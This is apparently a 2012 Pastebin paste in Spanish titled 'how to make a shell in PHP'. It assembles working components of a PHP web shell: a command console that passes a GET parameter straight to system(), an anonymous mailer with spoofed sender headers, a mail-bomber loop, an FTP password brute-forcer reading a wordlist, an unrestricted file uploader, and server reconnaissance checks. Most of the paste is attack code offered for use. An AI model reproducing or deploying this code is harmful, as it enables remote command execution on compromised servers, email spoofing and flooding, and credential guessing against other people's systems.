Advertisement
YeiZeta

Como hacer una shell en php

Oct 20th, 2012
253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.44 KB | None | 0 0
  1. Para datos de la shell:
  2. $_SERVER['SERVER_SOFTWARE'] = Apache/1.3.33 (Win32) PHP/4.3.10
  3. PHP_VERSION = 4.3.10
  4. PHP_OS = WINNT
  5. $_SERVER['HTTP_HOST'] = localhost
  6. $_SERVER['SCRIPT_FILENAME'] = c:/archivos de programa/easyphp1-8/www/shell/shells.php
  7. $_SERVER['DOCUMENT_ROOT'] = c:/archivos de programa/easyphp1-8/www
  8. $_SERVER['SERVER_ADMIN'] = admin@localhost
  9. $_SERVER['SERVER_PROTOCOL'] = HTTP/1.1
  10. $_SERVER['GATEWAY_INTERFACE'] = CGI/1.1
  11. $_SERVER['HTTP_ACCEPT_LANGUAGE'] = es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
  12. $_SERVER['SERVER_ADDR'] = 189.xxx.xx.xxx
  13. $_SERVER[REQUEST_METHOD] = GET
  14.  
  15. Espacio disponible en disco duro:
  16.  
  17. Código:
  18. <?
  19. $espacio_disponible = disk_free_space("/");
  20. echo "Espacio disponible: " . $espacio_disponible / 1000000000 ." GB";
  21. ?>
  22. Safe mode ON u OFF
  23.  
  24. Código:
  25. <?
  26. if( ini_get('safe_mode') ){
  27. echo "Safe Mode: " . '<font color="#FF0000">' . "ON" . '</font>';
  28. }else{
  29. echo "Safe Mode: " . '<font color="#00FF00">' . "OFF" . '</font>';
  30. }
  31. ?>
  32. Consola CMD:
  33.  
  34. Código:
  35. <h1>CMD:</h1>
  36. <FORM METHOD="GET" NAME="consol" ACTION="">
  37. <INPUT TYPE="text" NAME="console">
  38. <INPUT TYPE="submit" VALUE="Enviar">
  39. </FORM>
  40. <pre>
  41. <?
  42. if($_GET['console']) {
  43. system($_GET['console']);
  44. }
  45. ?>
  46. Mail anonimo:
  47.  
  48. Código:
  49. <h1>Mail Anonimo</h1>
  50. <b>De-nombre:</b>
  51. <input type="text" name="from">
  52. <b>De-mail:</b>
  53. <input type="text" name="de">
  54. <b>Para:</b>
  55. <input type="text" name="para"> </td></tr><tr><td rowspan=2>
  56. <b>Mensaje:</b><br/>
  57. <textarea name="msg"></textarea> <br/>
  58. <input type="submit" name="click" value="Enviar"><br/>
  59. Nota: si no llega el mail, es por que la web no tiene el puerto 25 abierto "puerto para mandar los mails"
  60. <hr>
  61. <?php
  62. //f
  63. if (isset($_POST['click']))
  64. {
  65. $de=$_POST['de'];
  66. $msg=$_POST['msg'];
  67. $from=$_POST['from'];
  68. $para=$_POST['para'];
  69. $headers = "MIME-Version: 1.0\\r\\n";
  70. $headers .= "Content-type: text/html; charset=iso-8859-1\\r\\n";
  71. $headers .= "From: $from <$de>";
  72.  
  73. if(mail($para, $asunto, $msg, $headers)) print('Mensaje enviado correctamente;');
  74. else 'Mensaje fallido, posiblemente function mail no activa';
  75. }
  76.  
  77. ?>
  78. MailBomber:
  79.  
  80. Código:
  81. <h1>MailBomber</h1>
  82. <b>De:</b> <br/>
  83. <input type="text" name="de"> <br/>
  84. <b>Para:</b><br/>
  85. <input type="text" name="para"> <br/>
  86. <b>Mensaje:</b><br/>
  87. <textarea name="msg"></textarea> <br/>
  88. <b>N. de mails:</b> <br/>
  89. <input type="text" name="mails"> <br/>
  90. <input type="submit" name="clicke" value="Enviar">
  91. </form>
  92. <?php
  93. if (isset($_POST['clicke']))
  94. {
  95. @$para=$_POST['para'];
  96. @$mails=$_POST['mails'];
  97. @$msg=$_POST['msg'];
  98. @$de=$_POST['de'];
  99.  
  100. for($i = 0; $i <= $mails; $i++)
  101. {
  102. mail("$para", $de, $msg);
  103. }
  104. }
  105. print "Nota: si no llegan los mails, es por que la web no tiene el puerto 25 abierto //puerto para mandar los mails";
  106. ?>
  107. Mostrar directorio y archivos de WWW:
  108.  
  109. Código:
  110. <?php
  111. //definimos el path de acceso
  112. $var1= $_SERVER['DOCUMENT_ROOT'];
  113. $path = $var1;
  114. echo ('<h2><font color="#0000ff">') . "Directorios & Archivos de: " . ('</font></h2>') . ('<font color="#808080">') . $var1 . ('</font>');
  115. echo "<br>";
  116. //abrimos el directorio
  117. $dir = opendir($path);
  118. //Mostramos las informaciones
  119. while ($elemento = readdir($dir))
  120. {
  121. echo '<a href="'. "/{$elemento}\\">{$elemento}</a><br>";
  122. }
  123. //Cerramos el directorio
  124. closedir($dir);
  125. ?>
  126. FTP BruteForce:
  127.  
  128. Código:
  129. <html>
  130. <head>
  131. <title>FTP BruteForce</title>
  132. </head>
  133. <body>
  134. <form method="POST" action="#">
  135. Usuario: <input type="text" name="usr"><br/>
  136. Direccion: <input type="text" name="url"><br/>
  137. Puerto: <input type="text" name="port" value="21"><br/>
  138. <input type="submit" name="boton" value="Conectar">
  139. </form>
  140. </body>
  141. </html>
  142. <?php
  143. #By Furcronet.
  144. if ($_POST['boton']){
  145. $usr = $_POST['usr'];
  146. $url = $_POST['url'];
  147. $port = $_POST['port'];
  148. if ($conex = @ftp_connect($url,$port)){
  149. echo "Conexion Establecida ";
  150. }else{
  151. echo "No se puede establecer la conexion ";
  152. }
  153. if($file = @fopen("db.txt", 'r')){
  154. while(!feof($file)){
  155. $passwd = fgets($file);
  156. $passwd = trim($passwd);
  157.  
  158.  
  159. if (@ftp_login($conex,$usr,$passwd)){
  160. echo '<br/>' . "User y Password correctos!";
  161. echo '<br/>' . '<b>' . "Usuario: " . $usr . '<br/>' . " Password: " . $passwd . '</b>';
  162.  
  163. }}}}
  164. ?>
  165. cURL, MySQL, MSSQL, PostgreSQL, Oracle ON u OFF:
  166.  
  167. Código:
  168. <?php
  169. $curl_on = @function_exists('curl_version');
  170. echo '<b>' ."cURL:" . '</b>'.(($curl_on)?("<font color=#FF0000>ON</font>"):("<font color=#00FF00>OFF</font>"));
  171. echo "<br>";
  172. echo '<b>' . "MySQL:" . '</b>';
  173. $mysql_on = @function_exists('mysql_connect');
  174. if($mysql_on){
  175. echo "<font color=#FF0000>ON</font>"; } else { echo "<font color=#00FF00>OFF</font>"; }
  176. echo "<br>";
  177. echo '<b>' . "MSSQL:" . '</b>';
  178. $mssql_on = @function_exists('mssql_connect');
  179. if($mssql_on){echo "<font color=#FF0000>ON</font>";}else{echo "<font color=#00FF00>OFF</font>";}
  180. echo "<br>";
  181. echo '<b>' ."PostgreSQL:" . ('</b>');
  182. $pg_on = @function_exists('pg_connect');
  183. if($pg_on){echo "<font color=#FF0000>ON</font>";}else{echo "<font color=#00FF00>OFF</font>";}
  184. echo "<br>";
  185. echo '<b>' . "Oracle:" . '</b>';
  186. $ora_on = @function_exists('ocilogon');
  187. if($ora_on){echo "<font color=#FF0000>ON</font>";}else{echo "<font color=#00FF00>OFF</font>";}
  188. echo "<br>";
  189. ?>
  190. MKDIR; Hacer una nueva carpeta:
  191.  
  192. Código:
  193. <h1>MKDIR</h1>
  194. <form method="POST" action="">
  195. <input type="text" name="nombre_dir">
  196. <input type="submit" name="botonsito">
  197. </form>
  198. <?
  199. if (isset($_POST['botonsito'])) {
  200. $nombre_dir = $_POST['nombre_dir'];
  201. mkdir($nombre_dir);
  202. }
  203.  
  204. ?>
  205. Upload: // has una carpeta con el nombre files
  206.  
  207. upload.php:
  208.  
  209. Código:
  210. <form action="upload2.php" method="post" enctype="multipart/form-data">
  211. <input name="archivo" type="file" size="35" />
  212. <input name="enviar" type="submit" value="Upload File" />
  213. <input name="action" type="hidden" value="upload" />
  214. </form>
  215. upload2.php:
  216.  
  217. Código:
  218. <?php
  219. $archivo = $_FILES["archivo"]['name'];
  220. $destino = "files/"."_".$archivo;
  221.  
  222. if (copy($_FILES['archivo']['tmp_name'],$destino)) {
  223. echo "se copio la imagen correctamente";
  224. echo '<br/>';
  225. echo '<img src="' . $destino . '">';
  226. }else{
  227. echo "no se pudo copiar la imagen";
  228. }
  229. ?>
  230. Permisos de ejecucion:
  231.  
  232. Código:
  233. <?php
  234.  
  235. function permisos($file){
  236. $perms = fileperms($file);
  237.  
  238. if (($perms & 0xC000) == 0xC000) {
  239. // Socket
  240. $info = 's';
  241. } elseif (($perms & 0xA000) == 0xA000) {
  242. // Enlace Simbólico
  243. $info = 'l';
  244. } elseif (($perms & 0x8000) == 0x8000) {
  245. // Regular
  246. $info = '-';
  247. } elseif (($perms & 0x6000) == 0x6000) {
  248. // Bloque especial
  249. $info = 'b';
  250. } elseif (($perms & 0x4000) == 0x4000) {
  251. // Directorio
  252. $info = 'd';
  253. } elseif (($perms & 0x2000) == 0x2000) {
  254. // Caracter especial
  255. $info = 'c';
  256. } elseif (($perms & 0x1000) == 0x1000) {
  257. // Pipe FIFO
  258. $info = 'p';
  259. } else {
  260. // Desconocido
  261. $info = 'u';
  262. }
  263.  
  264. // Dueño
  265. $info .= (($perms & 0x0100) ? 'r' : '-');
  266. $info .= (($perms & 0x0080) ? 'w' : '-');
  267. $info .= (($perms & 0x0040) ?
  268. (($perms & 0x0800) ? 's' : 'x' ) :
  269. (($perms & 0x0800) ? 'S' : '-'));
  270.  
  271. // Grupo
  272. $info .= (($perms & 0x0020) ? 'r' : '-');
  273. $info .= (($perms & 0x0010) ? 'w' : '-');
  274. $info .= (($perms & 0x0008) ?
  275. (($perms & 0x0400) ? 's' : 'x' ) :
  276. (($perms & 0x0400) ? 'S' : '-'));
  277.  
  278. // Mundo
  279. $info .= (($perms & 0x0004) ? 'r' : '-');
  280. $info .= (($perms & 0x0002) ? 'w' : '-');
  281. $info .= (($perms & 0x0001) ?
  282. (($perms & 0x0200) ? 't' : 'x' ) :
  283. (($perms & 0x0200) ? 'T' : '-'));
  284.  
  285. return $info;
  286.  
  287. }
  288. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement